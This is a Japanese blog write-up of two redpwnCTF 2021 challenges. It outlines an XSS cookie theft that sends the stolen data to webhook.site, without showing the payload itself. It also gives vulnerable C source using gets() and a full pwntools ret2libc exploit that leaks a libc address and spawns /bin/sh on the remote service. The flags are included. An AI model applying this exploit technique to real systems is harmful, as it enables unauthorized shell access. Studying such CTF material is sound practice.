Save The Earth! - 地球環境を守ろう!
URL: https://2021.redpwn.net/
1146点を獲得し、最終順位は317位でした。
解いたチャレンジ
最近たまに見るこの rCTF という Platform は redpwn CTF team が作ったものみたいですね。
自分の過去のブログを見たときに、RedpwnCTF 2019 の Writeup は書いてたけど RedpwnCTF 2020 の Writeup が無かったので、去年はイベントを見逃したのかな?と思ったら、パソコン上にメモは残っていたのでいちおう参加はしてたみたいです。簡単なのしか解いていなかったからブログを書かなかったのかな。
そして、今年も簡単なのしか解いていないですが、とりあえず少しだけ記録として残しておきます。
[Web]: pastebin-1 (about 100 points)
Challenge
Ah, the classic pastebin. Can you get the admin’s cookies?
pastebin-1.mc.ax (pastebinへのリンク)
Admin bot (admin botへのリンク)
Attachment:
Solution
https://webhook.site/ を使って解きました。
-
webhook.site で待受けを開始してアドレスを取得。
-
以下をPastebinのところにPost。
-
admin-botから、以下 (PastebinにPostしたときに得られるアドレス) へアクセス。
-
webhook.site で受信したデータを確認。
Flag: flag{d1dn7_n33d_70_b3_1n_ru57}
[Pwn]: ret2the-unknown (about 100 points)
Challenge
hey, my company sponsored map doesn’t show any location named “libc”!
nc mc.ax 31568
Attachment:
- libc-2.28.so
- ld-2.28.so
- ret2the-unknown (ELF 64bit)
- ret2the-unknown.c
ret2the-unknown.c の中身:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
#include <stdio.h>
#include <string.h>
int main(void)
{
char your_reassuring_and_comforting_we_will_arrive_safely_in_libc[32];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts("that board meeting was a *smashing* success! rob loved the challenge!");
puts("in fact, he loved it so much he sponsored me a business trip to this place called 'libc'...");
puts("where is this place? can you help me get there safely?");
// please i cant afford the medical bills if we crash and segfault
gets(your_reassuring_and_comforting_we_will_arrive_safely_in_libc);
puts("phew, good to know. shoot! i forgot!");
printf("rob said i'd need this to get there: %llx\n", printf);
puts("good luck!");
}
|
Solution
以下、checksecの出力結果です。
$ checksec ret2the-unknown
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
以下、ほとんど今までのコードの使いまわしです。。。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context(os='linux', arch='amd64')
context.log_level = 'critical'
elf = ELF('./ret2the-unknown')
context.binary = elf
s = remote('mc.ax', 31568)
bufsize = 32 + 8
rop = ROP(elf)
rop.puts(elf.got.puts)
rop.main()
print(rop.dump())
s.sendlineafter("safely?\n", b'A'*bufsize + rop.chain())
s.recvuntil('luck!\n')
puts = u64(s.recvline().rstrip().ljust(8, b"\x00"))
print('puts: %x' % puts)
libc = ELF('./libc-2.28.so')
libc.address = puts - libc.symbols.puts
rop = ROP(libc)
rop.execv(next(libc.search(b'/bin/sh')), 0)
print(rop.dump())
s.sendlineafter("safely?\n", b'A'*bufsize + rop.chain())
s.recvuntil('luck!\n')
s.interactive()
|
Flag: flag{rob-is-proud-of-me-for-exploring-the-unknown-but-i-still-cant-afford-housing}
Author
CaptureAmerica @ CTF フラxxグゲット
LastMod
2021-07-17